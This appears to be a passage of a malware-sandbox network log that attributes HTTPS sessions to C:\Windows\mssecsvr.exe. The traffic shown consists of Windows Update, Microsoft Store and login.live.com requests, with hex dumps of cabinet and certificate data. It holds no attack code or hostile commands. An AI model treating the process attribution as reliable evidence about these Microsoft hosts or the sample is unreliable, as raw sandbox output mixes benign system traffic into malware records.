63 6f 72 65 3d 32 26 4c 4f 43 41 4c 49 44 3d 77 Data Ascii: PID=425106558&TID=700342085&CID=128000000001392729&BID=1134616548&PG=PC000P0FR5.0000000IQ8&TPID=425106558&REQASID=DB4321DE229945348269BFC4CCEAD466&ASID=5a8d34be4c6943daa42f8519abff19bf&TIME=20220720T160922Z&SLOT=2&REQT=20220720T070705&MA_Score=2&LOCALID=w
2022-07-20 07:10:04 UTC	8563	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 07:10:03 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.6	55348	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:04 UTC	8563	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:10:04 UTC	8563	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 MS-CorrelationId: 8378dd79-1100-4745-beab-9e4ced9a4862 MS-RequestId: 39881140-b4ab-451a-ab70-c1af6ff29a5b MS-CV: j2rArbl2c02RYtSI.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:10:04 GMT Connection: close Content-Length: 35877
2022-07-20 07:10:04 UTC	8564	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 07:10:04 UTC	8579	IN	Data Raw: 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 5b e7 50 31 07 a1 48 30 3e 6a a4 f0 c4 72 3c 54 96 f6 da df d2 d3 50 d2 84 7b 97 ec 78 f9 43 53 fd e4 71 94 d6 61 5f 1a b6 d2 ca cf 27 33 68 64 df 14 e1 50 66 07 d7 7e 96 93 5f 64 a6 a8 6b ed 53 9c 38 61 a0 4a c0 c3 f6 42 3e ba 0e e9 8f ca a4 d9 37 47 6f e1 9f d2 fc 8f da e3 3f 6a 8f ff a8 3d fe a3 f6 f8 8f da e3 Data Ascii: AI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF[P1H0>jr<TP{xCSqa_'3hdPf~_dkS8aJB>7Go?j=
2022-07-20 07:10:04 UTC	8595	IN	Data Raw: 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 Data Ascii: oft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0*H0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.6	55350	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:05 UTC	8599	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160902Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:05 UTC	8599	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: ab20eb5c-9247-453d-ae32-98b6e5e769c0 Date: Wed, 20 Jul 2022 07:10:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.6	55356	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:05 UTC	8600	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160905Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:05 UTC	8600	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 9200011a-232d-4108-b1b1-32b63bb829f4 Date: Wed, 20 Jul 2022 07:10:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.6	55429	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:05 UTC	8600	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160906Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:05 UTC	8601	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: e927ea28-5f78-4218-b327-1a3893d47a67 Date: Wed, 20 Jul 2022 07:10:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.6	55430	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:05 UTC	8601	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:10:05 UTC	8601	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 6933269e-07b8-4762-83f5-7a638dd2fbd1 MS-RequestId: 6176af83-d412-42df-a608-fc8bd52608b7 MS-CV: apDqfw1q+EuF71N9.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:10:05 GMT Connection: close Content-Length: 35877
2022-07-20 07:10:05 UTC	8602	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 07:10:05 UTC	8617	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 07:10:05 UTC	8633	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.6	55432	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:05 UTC	8637	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160907Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:06 UTC	8638	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 0da3fbe6-1987-4aea-96c1-d0f7a7488e9e Date: Wed, 20 Jul 2022 07:10:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.6	55434	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:06 UTC	8638	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:10:06 UTC	8638	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 3641cb9a-0177-472b-ba81-9c45c4aba12b MS-RequestId: 10022417-c31e-493a-884a-8ced3ff1d51d MS-CV: MhSn/k4njE+mak9k.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:10:05 GMT Connection: close Content-Length: 35877
2022-07-20 07:10:06 UTC	8639	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 07:10:06 UTC	8654	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 07:10:06 UTC	8670	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.6	55436	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:06 UTC	8674	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160909Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:06 UTC	8674	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 23fe0130-fe6f-4103-94d7-22b856460290 Date: Wed, 20 Jul 2022 07:10:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	50149	40.126.31.73	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:48 UTC	156	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4740 Host: login.live.com
2022-07-20 07:07:48 UTC	157	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 07:07:48 UTC	166	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 07:06:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 40df6a8b-6982-46e2-a900-87b1105adbdc PPServer: PPV: 30 H: BL6PPF9B4730734 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 07:07:48 GMT Connection: close Content-Length: 11316
2022-07-20 07:07:48 UTC	167	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.6	55488	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:06 UTC	8674	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160910Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:06 UTC	8675	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: a194ba5d-5661-4853-ad35-47a2cb4dc85f Date: Wed, 20 Jul 2022 07:10:06 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.6	55517	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
